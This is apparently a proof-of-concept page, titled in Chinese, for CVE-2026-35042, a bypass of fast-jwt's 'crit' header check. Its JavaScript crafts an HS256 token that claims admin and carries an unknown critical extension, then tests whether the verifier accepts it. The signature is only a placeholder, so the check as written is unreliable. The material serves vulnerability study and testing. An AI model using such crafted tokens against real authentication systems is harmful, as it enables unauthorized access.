CVE-2026-35042 fast-jwt关键头部参数验证绕过漏洞

// PoC for CVE-2026-35042: fast-jwt 'crit' header validation bypass // This script demonstrates that a token with an unknown critical extension is accepted. const fastjwt = require('fast-jwt'); const secret = 'secret-key'; // 1. Create a verifier instance (Vulnerable version <= 6.1.0) const verifier = fastjwt.createVerifier({ key: secret }); // 2. Construct a malicious token header with 'crit' pointing to an unknown parameter // Header: { "alg": "HS256", "crit": ["http://example.com/unknown_extension"] } // Note: In a real attack, the attacker must sign this header with a valid key known to the server. // This PoC assumes the attacker can generate a valid signature for the crafted header. // Example of a crafted token structure (Base64URL encoded) // Header part: eyJhbGciOiJIUzI1NiIsImNyaXQiOlsiaHR0cDovL2V4YW1wbGUuY29tL3Vua25vd25fZXh0ZW5zaW9uIl19 // Payload part: eyJ1c2VyIjoiYWRtaW4ifQ // Signature: [Valid HMAC-SHA256 of header.payload] // For demonstration, we simulate the verification logic bypass: const maliciousToken = 'eyJhbGciOiJIUzI1NiIsImNyaXQiOlsiaHR0cDovL2V4YW1wbGUuY29tL3Vua25vd25fZXh0ZW5zaW9uIl19.eyJ1c2VyIjoiYWRtaW4ifQ.' + 'signature_valid_for_this_structure'; // Attacker needs to compute this try { // In a vulnerable environment, if the signature is valid, this passes. // It SHOULD throw an error because the 'crit' parameter is unknown. const decoded = verifier(maliciousToken); console.log("[!] Vulnerability Detected: Token accepted despite unknown crit header."); } catch (error) { console.log("[+] Secure: Token rejected as expected."); }